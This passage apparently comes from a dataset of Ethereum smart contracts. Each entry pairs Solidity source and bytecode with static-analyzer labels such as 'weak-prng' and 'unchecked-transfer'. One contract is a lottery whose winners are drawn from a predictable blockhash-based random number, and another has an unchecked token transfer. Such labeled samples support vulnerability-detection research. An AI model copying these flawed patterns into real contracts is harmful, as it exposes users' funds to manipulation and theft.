details = _details;
name = _name;
symbol = _symbol;
forSale = _forSale;
initialized = true;
transferable = _transferable;
if (_managerSupply > 0) {_mint(_manager, _managerSupply);}
if (_saleSupply > 0) {_mint(address(this), _saleSupply);}
// eip-2612 permit() pattern:
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
function _approve(address owner, address spender, uint256 value) internal {
allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function approve(address spender, uint256 value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function _burn(address from, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function burn(uint256 value) external {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) external {
_approve(from, msg.sender, allowances[from][msg.sender].sub(value));
_burn(from, value);
}
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(msg.sender, spender, allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(msg.sender, spender, allowances[msg.sender][spender].add(addedValue));
return true;
}
// Adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external {
require(block.timestamp <= deadline, "expired");
bytes32 hashStruct = keccak256(abi.encode(
PERMIT_TYPEHASH,
owner,
spender,
value,
nonces[owner]++,
deadline));
bytes32 hash = keccak256(abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
require(signer != address(0) && signer == owner, "!signer");
_approve(owner, spender, value);
}
receive() external payable { // SALE
require(forSale, "!forSale");
(bool success, ) = manager.call{value: msg.value}("");
require(success, "!ethCall");
_transfer(address(this), msg.sender, msg.value.mul(saleRate));
}
function redeem(uint256 value, string calldata _details) external {
_burn(msg.sender, value);
emit Redeem(_details);
}
function _transfer(address from, address to, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function transfer(address to, uint256 value) external returns (bool) {
require(transferable, "!transferable");
_transfer(msg.sender, to, value);
return true;
}
function transferBatch(address[] calldata to, uint256[] calldata value) external {
require(to.length == value.length, "!to/value");
require(transferable, "!transferable");
for (uint256 i = 0; i < to.length; i++) {
_transfer(msg.sender, to[i], value[i]);
}
}
function transferFrom(address from, address to, uint256 value) external returns (bool) {
require(transferable, "!transferable");
_approve(from, msg.sender, allowances[from][msg.sender].sub(value));
_transfer(from, to, value);
return true;
}
/****************
MANAGER FUNCTIONS
****************/
function _mint(address to, uint256 value) internal {
require(totalSupply.add(value) <= totalSupplyCap, "capped");
balanceOf[to] = balanceOf[to].add(value);
totalSupply = totalSupply.add(value);
emit Transfer(address(0), to, value);
}
function mint(address to, uint256 value) external onlyManager {
_mint(to, value);
}
function mintBatch(address[] calldata to, uint256[] calldata value) external onlyManager {
require(to.length == value.length, "!to/value");
for (uint256 i = 0; i < to.length; i++) {
_mint(to[i], value[i]);
}
}
function updateGovernance(address payable _manager, string calldata _details) external onlyManager {
manager = _manager;
details = _details;
emit UpdateGovernance(_manager, _details);
}
function updateSale(uint256 _saleRate, uint256 _saleSupply, bool _burnToken, bool _forSale) external onlyManager {
saleRate = _saleRate;
forSale = _forSale;
if (_saleSupply > 0 && _burnToken) {_burn(address(this), _saleSupply);}
if (_saleSupply > 0 && !_burnToken) {_mint(address(this), _saleSupply);}
emit UpdateSale(_saleRate, _saleSupply, _burnToken, _forSale);
}
function updateTransferability(bool _transferable) external onlyManager {
transferable = _transferable;
emit UpdateTransferability(_transferable);
}
function withdrawToken(address[] calldata token, address[] calldata withdrawTo, uint256[] calldata value, bool max) external onlyManager { // withdraw token sent to lextoken contract
require(token.length == withdrawTo.length && token.length == value.length, "!token/withdrawTo/value");
for (uint256 i = 0; i < token.length; i++) {
uint256 withdrawalValue = value[i];
if (max) {withdrawalValue = IERC20(token[i]).balanceOf(address(this));}
IERC20(token[i]).transfer(withdrawTo[i], withdrawalValue);
}
}
} | 0x6080604052600436106101e75760003560e01c8063481c6a75116101025780637c88e3d911610095578063a457c2d711610064578063a457c2d714610c12578063a9059cbb14610c4b578063bb102aea14610c84578063d505accf14610c99576102e3565b80637c88e3d914610aea5780637ecebe0014610bb557806392ff0d3114610be857806395d89b4114610bfd576102e3565b806364629ff7116100d157806364629ff7146108e857806370a082311461092857806379cc67901461095b5780637a0c21ee14610994576102e3565b8063481c6a751461083b57806355b6ed5c1461086c578063565974d3146108a757806361d3458f146108bc576102e3565b8063313ce5671161017a57806340557cf11161014957806340557cf1146107ae57806340c10f19146107c357806342966c68146107fc578063466ccac014610826576102e3565b8063313ce5671461066a5780633644e5151461069557806339509351146106aa5780633b3e672f146106e3576102e3565b806321af8235116101b657806321af82351461050557806323b872dd1461059057806324b76fd5146105d357806330adf81f14610655576102e3565b806306fdde03146102e8578063095ea7b31461037257806318160ddd146103bf5780631d809a79146103e6576102e3565b366102e35760085460ff1661022e576040805162461bcd60e51b815260206004820152600860248201526721666f7253616c6560c01b604482015290519081900360640190fd5b600080546040516001600160a01b039091169034908381818185875af1925050503d806000811461027b576040519150601f19603f3d011682016040523d82523d6000602084013e610280565b606091505b50509050806102c1576040805162461bcd60e51b815260206004820152600860248201526708595d1a10d85b1b60c21b604482015290519081900360640190fd5b6102e030336102db60015434610cf790919063ffffffff16565b610d27565b50005b600080fd5b3480156102f457600080fd5b506102fd610dd5565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561033757818101518382015260200161031f565b50505050905090810190601f1680156103645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561037e57600080fd5b506103ab6004803603604081101561039557600080fd5b506001600160a01b038135169060200135610e63565b604080519115158252519081900360200190f35b3480156103cb57600080fd5b506103d4610e79565b60408051918252519081900360200190f35b3480156103f257600080fd5b506105036004803603608081101561040957600080fd5b810190602081018135600160201b81111561042357600080fd5b82018360208201111561043557600080fd5b803590602001918460208302840111600160201b8311171561045657600080fd5b919390929091602081019035600160201b81111561047357600080fd5b82018360208201111561048557600080fd5b803590602001918460208302840111600160201b831117156104a657600080fd5b919390929091602081019035600160201b8111156104c357600080fd5b8201836020820111156104d557600080fd5b803590602001918460208302840111600160201b831117156104f657600080fd5b9193509150351515610e7f565b005b34801561051157600080fd5b506105036004803603604081101561052857600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561055257600080fd5b82018360208201111561056457600080fd5b803590602001918460018302840111600160201b8311171561058557600080fd5b5090925090506110b3565b34801561059c57600080fd5b506103ab600480360360608110156105b357600080fd5b506001600160a01b03813581169160208101359091169060400135611194565b3480156105df57600080fd5b50610503600480360360408110156105f657600080fd5b81359190810190604081016020820135600160201b81111561061757600080fd5b82018360208201111561062957600080fd5b803590602001918460018302840111600160201b8311171561064a57600080fd5b509092509050611233565b34801561066157600080fd5b506103d46112a2565b34801561067657600080fd5b5061067f6112c6565b6040805160ff9092168252519081900360200190f35b3480156106a157600080fd5b506103d46112d6565b3480156106b657600080fd5b506103ab600480360360408110156106cd57600080fd5b506001600160a01b0381351690602001356112dc565b3480156106ef57600080fd5b506105036004803603604081101561070657600080fd5b810190602081018135600160201b81111561072057600080fd5b82018360208201111561073257600080fd5b803590602001918460208302840111600160201b8311171561075357600080fd5b919390929091602081019035600160201b81111561077057600080fd5b82018360208201111561078257600080fd5b803590602001918460208302840111600160201b831117156107a357600080fd5b509092509050611312565b3480156107ba57600080fd5b506103d46113f1565b3480156107cf57600080fd5b50610503600480360360408110156107e657600080fd5b506001600160a01b0381351690602001356113f7565b34801561080857600080fd5b506105036004803603602081101561081f57600080fd5b503561144f565b34801561083257600080fd5b506103ab61145c565b34801561084757600080fd5b50610850611465565b604080516001600160a01b039092168252519081900360200190f35b34801561087857600080fd5b506103d46004803603604081101561088f57600080fd5b506001600160a01b0381358116916020013516611474565b3480156108b357600080fd5b506102fd611491565b3480156108c857600080fd5b50610503600480360360208110156108df57600080fd5b503515156114ec565b3480156108f457600080fd5b506105036004803603608081101561090b57600080fd5b508035906020810135906040810135151590606001351515611587565b34801561093457600080fd5b506103d46004803603602081101561094b57600080fd5b50356001600160a01b031661166b565b34801561096757600080fd5b506105036004803603604081101561097e57600080fd5b506001600160a01b03813516906020013561167d565b3480156109a057600080fd5b5061050360048036036101608110156109b857600080fd5b6001600160a01b038235169160ff6020820135169160408201359160608101359160808201359160a08101359181019060e0810160c0820135600160201b811115610a0257600080fd5b820183602082011115610a1457600080fd5b803590602001918460018302840111600160201b83111715610a3557600080fd5b919390929091602081019035600160201b811115610a5257600080fd5b820183602082011115610a6457600080fd5b803590602001918460018302840111600160201b83111715610a8557600080fd5b919390929091602081019035600160201b811115610aa257600080fd5b820183602082011115610ab457600080fd5b803590602001918460018302840111600160201b83111715610ad557600080fd5b919350915080351515906020013515156116bc565b348015610af657600080fd5b5061050360048036036040811015610b0d57600080fd5b810190602081018135600160201b811115610b2757600080fd5b820183602082011115610b3957600080fd5b803590602001918460208302840111600160201b83111715610b5a57600080fd5b919390929091602081019035600160201b811115610b7757600080fd5b820183602082011115610b8957600080fd5b803590602001918460208302840111600160201b83111715610baa57600080fd5b5090925090506118de565b348015610bc157600080fd5b506103d460048036036020811015610bd857600080fd5b50356001600160a01b03166119b2565b348015610bf457600080fd5b506103ab6119c4565b348015610c0957600080fd5b506102fd6119d3565b348015610c1e57600080fd5b506103ab60048036036040811015610c3557600080fd5b506001600160a01b038135169060200135611a2e565b348015610c5757600080fd5b506103ab60048036036040811015610c6e57600080fd5b506001600160a01b038135169060200135611a64565b348015610c9057600080fd5b506103d4611abf565b348015610ca557600080fd5b50610503600480360360e0811015610cbc57600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611ac5565b600082610d0657506000610d21565b82820282848281610d1357fe5b0414610d1e57600080fd5b90505b92915050565b6001600160a01b0383166000908152600a6020526040902054610d4a9082611ca9565b6001600160a01b038085166000908152600a60205260408082209390935590841681522054610d799082611cbe565b6001600160a01b038084166000818152600a602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6006805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610e5b5780601f10610e3057610100808354040283529160200191610e5b565b820191906000526020600020905b815481529060010190602001808311610e3e57829003601f168201915b505050505081565b6000610e70338484611cd0565b50600192915050565b60025481565b6000546001600160a01b03163314610ec9576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b8584148015610ed757508582145b610f28576040805162461bcd60e51b815260206004820152601760248201527f21746f6b656e2f7769746864726177546f2f76616c7565000000000000000000604482015290519081900360640190fd5b60005b868110156110a9576000848483818110610f4157fe5b9050602002013590508215610fe757888883818110610f5c57fe5b905060200201356001600160a01b03166001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610fb857600080fd5b505afa158015610fcc573d6000803e3d6000fd5b505050506040513d6020811015610fe257600080fd5b505190505b888883818110610ff357fe5b905060200201356001600160a01b03166001600160a01b031663a9059cbb88888581811061101d57fe5b905060200201356001600160a01b0316836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561107457600080fd5b505af1158015611088573d6000803e3d6000fd5b505050506040513d602081101561109e57600080fd5b505050600101610f2b565b5050505050505050565b6000546001600160a01b031633146110fd576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b03851617905561112460058383611ea0565b50826001600160a01b03167f28227c29e8844719ad1e9362701a58f2fd9151da99edd16146e6066f7995de60838360405180806020018281038252848482818152602001925080828437600083820152604051601f909101601f19169092018290039550909350505050a2505050565b60085460009062010000900460ff166111e4576040805162461bcd60e51b815260206004820152600d60248201526c217472616e7366657261626c6560981b604482015290519081900360640190fd5b6001600160a01b03841660009081526009602090815260408083203380855292529091205461121e9186916112199086611ca9565b611cd0565b611229848484610d27565b5060019392505050565b61123d3384611d32565b7ffaaa716cf73cc51702fa1de9713c82c6cd37a48c3abd70d72ef7e2051b60788b828260405180806020018281038252848482818152602001925080828437600083820152604051601f909101601f19169092018290039550909350505050a1505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b600054600160a01b900460ff1681565b60045481565b3360008181526009602090815260408083206001600160a01b03871684529091528120549091610e709185906112199086611cbe565b828114611352576040805162461bcd60e51b815260206004820152600960248201526821746f2f76616c756560b81b604482015290519081900360640190fd5b60085462010000900460ff1661139f576040805162461bcd60e51b815260206004820152600d60248201526c217472616e7366657261626c6560981b604482015290519081900360640190fd5b60005b838110156113ea576113e2338686848181106113ba57fe5b905060200201356001600160a01b03168585858181106113d657fe5b90506020020135610d27565b6001016113a2565b5050505050565b60015481565b6000546001600160a01b03163314611441576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b61144b8282611dc3565b5050565b6114593382611d32565b50565b60085460ff1681565b6000546001600160a01b031681565b600960209081526000928352604080842090915290825290205481565b6005805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610e5b5780601f10610e3057610100808354040283529160200191610e5b565b6000546001600160a01b03163314611536576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b6008805482151562010000810262ff0000199092169190911790915560408051918252517f6bac9a12247929d003198785fd8281eecfab25f64a2342832fc7e0fe2a5b99bd9181900360200190a150565b6000546001600160a01b031633146115d1576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b60018490556008805460ff191682151517905582158015906115f05750815b156115ff576115ff3084611d32565b60008311801561160d575081155b1561161c5761161c3084611dc3565b604080518581526020810185905283151581830152821515606082015290517fc731f083c0c404c37cc5224632a9920c93721188c2b3a25442ba50173c538a0a9181900360800190a150505050565b600a6020526000908152604090205481565b6001600160a01b0382166000908152600960209081526040808320338085529252909120546116b29184916112199085611ca9565b61144b8282611d32565b600854610100900460ff1615611707576040805162461bcd60e51b815260206004820152600b60248201526a1a5b9a5d1a585b1a5e995960aa1b604482015290519081900360640190fd5b8d6000806101000a8154816001600160a01b0302191690836001600160a01b031602179055508c600060146101000a81548160ff021916908360ff1602179055508a60018190555088600381905550878760059190611767929190611ea0565b5061177460068787611ea0565b5061178160078585611ea0565b506008805461010060ff199091168415151761ff0019161762ff0000191662010000831515021790558b156117ba576117ba8e8d611dc3565b89156117ca576117ca308b611dc3565b60004690507f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6006604051808280546001816001161561010002031660029004801561184d5780601f1061182b57610100808354040283529182019161184d565b820191906000526020600020905b815481529060010190602001808311611839575b505060408051918290038220828201825260018352603160f81b602093840152815180840196909652858201527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606086015260808501959095523060a0808601919091528551808603909101815260c0909401909452505080519101206004555050505050505050505050505050565b6000546001600160a01b03163314611928576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b828114611968576040805162461bcd60e51b815260206004820152600960248201526821746f2f76616c756560b81b604482015290519081900360640190fd5b60005b838110156113ea576119aa85858381811061198257fe5b905060200201356001600160a01b031684848481811061199e57fe5b90506020020135611dc3565b60010161196b565b600b6020526000908152604090205481565b60085462010000900460ff1681565b6007805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610e5b5780601f10610e3057610100808354040283529160200191610e5b565b3360008181526009602090815260408083206001600160a01b03871684529091528120549091610e709185906112199086611ca9565b60085460009062010000900460ff16611ab4576040805162461bcd60e51b815260206004820152600d60248201526c217472616e7366657261626c6560981b604482015290519081900360640190fd5b610e70338484610d27565b60035481565b83421115611b04576040805162461bcd60e51b8152602060048201526007602482015266195e1c1a5c995960ca1b604482015290519081900360640190fd5b6001600160a01b038088166000818152600b602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958c166060860152608085018b905260a085019590955260c08085018a90528151808603909101815260e08501825280519083012060045461190160f01b61010087015261010286015261012280860182905282518087039091018152610142860180845281519185019190912090859052610162860180845281905260ff8a166101828701526101a286018990526101c2860188905291519095919491926101e2808401939192601f1981019281900390910190855afa158015611c21573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811615801590611c575750896001600160a01b0316816001600160a01b0316145b611c92576040805162461bcd60e51b815260206004820152600760248201526610b9b4b3b732b960c91b604482015290519081900360640190fd5b611c9d8a8a8a611cd0565b50505050505050505050565b600082821115611cb857600080fd5b50900390565b600082820183811015610d1e57600080fd5b6001600160a01b03808416600081815260096020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0382166000908152600a6020526040902054611d559082611ca9565b6001600160a01b0383166000908152600a6020526040902055600254611d7b9082611ca9565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600354600254611dd39083611cbe565b1115611e0f576040805162461bcd60e51b815260206004820152600660248201526518d85c1c195960d21b604482015290519081900360640190fd5b6001600160a01b0382166000908152600a6020526040902054611e329082611cbe565b6001600160a01b0383166000908152600a6020526040902055600254611e589082611cbe565b6002556040805182815290516001600160a01b038416916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282611ed65760008555611f1c565b82601f10611eef5782800160ff19823516178555611f1c565b82800160010185558215611f1c579182015b82811115611f1c578235825591602001919060010190611f01565b50611f28929150611f2c565b5090565b5b80821115611f285760008155600101611f2d56fea264697066735822122040a078146e2a166733930b681ec16cb16f3776737eff9c41054a30c33f5e712864736f6c63430007040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 10,313 |
0x20d7d4b07a2dcefe1bd99ac11eae2f5a8218e454 | pragma solidity ^0.4.16;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
/**
* @title Slot Ticket token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract SlotTicket is StandardToken, Ownable {
string public name = "Slot Ticket";
uint8 public decimals = 0;
string public symbol = "SLOT";
string public version = "0.1";
event Mint(address indexed to, uint256 amount);
function mint(address _to, uint256 _amount) onlyOwner returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount); // so it is displayed properly on EtherScan
return true;
}
function destroy() onlyOwner {
// Transfer Eth to owner and terminate contract
selfdestruct(owner);
}
}
contract Slot is Ownable, Pausable { // TODO: for production disable tokenDestructible
using SafeMath for uint256;
// this token is just a gimmick to receive when buying a ticket, it wont affect the prize
SlotTicket public token;
// every participant has an account index, the winners are picked from here
// all winners are picked in order from the single random int
// needs to be cleared after every game
mapping (uint => address) participants;
uint256[] prizes = [4 ether,
2 ether,
1 ether,
500 finney,
500 finney,
500 finney,
500 finney,
500 finney];
uint8 counter = 0;
uint8 constant SIZE = 100; // size of the lottery
uint32 constant JACKPOT_SIZE = 1000000; // one in a million
uint256 constant PRICE = 100 finney;
uint256 jackpot = 0;
uint256 gameNumber = 0;
address wallet;
event PrizeAwarded(uint256 game, address winner, uint256 amount);
event JackpotAwarded(uint256 game, address winner, uint256 amount);
function Slot(address _wallet) {
token = new SlotTicket();
wallet = _wallet;
}
function() payable {
// fallback function to buy tickets from
buyTicketsFor(msg.sender);
}
function buyTicketsFor(address beneficiary) whenNotPaused() payable {
require(beneficiary != 0x0);
require(msg.value >= PRICE);
require(msg.value/PRICE <= 255); // maximum of 255 tickets, to avoid overflow on uint8
// I can't see somebody sending more than the size of the lottery, other than to try to win the jackpot
// calculate number of tickets, issue tokens and add participants
// every 100 finney buys a ticket, the rest is returned
uint8 numberOfTickets = uint8(msg.value/PRICE);
token.mint(beneficiary, numberOfTickets);
addParticipant(beneficiary, numberOfTickets);
// Return change to msg.sender
// TODO: check if change amount correct
msg.sender.transfer(msg.value%PRICE);
}
function addParticipant(address _participant, uint8 _numberOfTickets) private {
// TODO: check access of this function, it shouldn't be tampered with
// add participants and increment count
// should gracefully handle multiple tickets accross games
for (uint8 i = 0; i < _numberOfTickets; i++) {
participants[counter] = _participant;
// msg.sender triggers the drawing of lots
if (counter % (SIZE-1) == 0) {
// takes the participant's address as the seed
awardPrizes(uint256(_participant));
}
counter++;
// loop continues if there are more tickets
}
}
function rand(uint32 _size, uint256 _seed) constant private returns (uint32 randomNumber) {
// Providing random numbers within a deterministic system is, naturally, an impossible task.
// However, we can approximate with pseudo-random numbers by utilising data which is generally unknowable
// at the time of transacting. Such data might include the block’s hash.
return uint32(sha3(block.blockhash(block.number-1), _seed))%_size;
}
function awardPrizes(uint256 _seed) private {
uint32 winningNumber = rand(SIZE-1, _seed); // -1 since index starts at 0
bool jackpotWon = winningNumber == rand(JACKPOT_SIZE-1, _seed); // -1 since index starts at 0
// scope of participants
uint256 start = gameNumber.mul(SIZE);
uint256 end = start + SIZE;
uint256 winnerIndex = start.add(winningNumber);
for (uint8 i = 0; i < prizes.length; i++) {
if (jackpotWon && i==0) { distributeJackpot(winnerIndex); }
if (winnerIndex+i > end) {
// to keep within the bounds of participants, wrap around
winnerIndex -= SIZE;
}
participants[winnerIndex+i].transfer(prizes[i]); // msg.sender pays the gas, he's refunded later
PrizeAwarded(gameNumber, participants[winnerIndex+i], prizes[i]);
}
// Split the rest
jackpot = jackpot.add(245 finney); // add to jackpot
wallet.transfer(245 finney); // *cash register sound*
msg.sender.transfer(10 finney); // repay gas to msg.sender TODO: check if price is right
gameNumber++;
}
function distributeJackpot(uint256 _winnerIndex) {
participants[_winnerIndex].transfer(jackpot);
JackpotAwarded(gameNumber, participants[_winnerIndex], jackpot);
jackpot = 0; // later on in the code money will be added
}
function destroy() onlyOwner {
// Transfer Eth to owner and terminate contract
token.destroy();
selfdestruct(owner);
}
function changeWallet(address _newWallet) onlyOwner {
require(_newWallet != 0x0);
wallet = _newWallet;
}
} | 0x | {"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,314 |
0x9a90cdb023850fef3d9cda818c38fd149fd07a6e | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
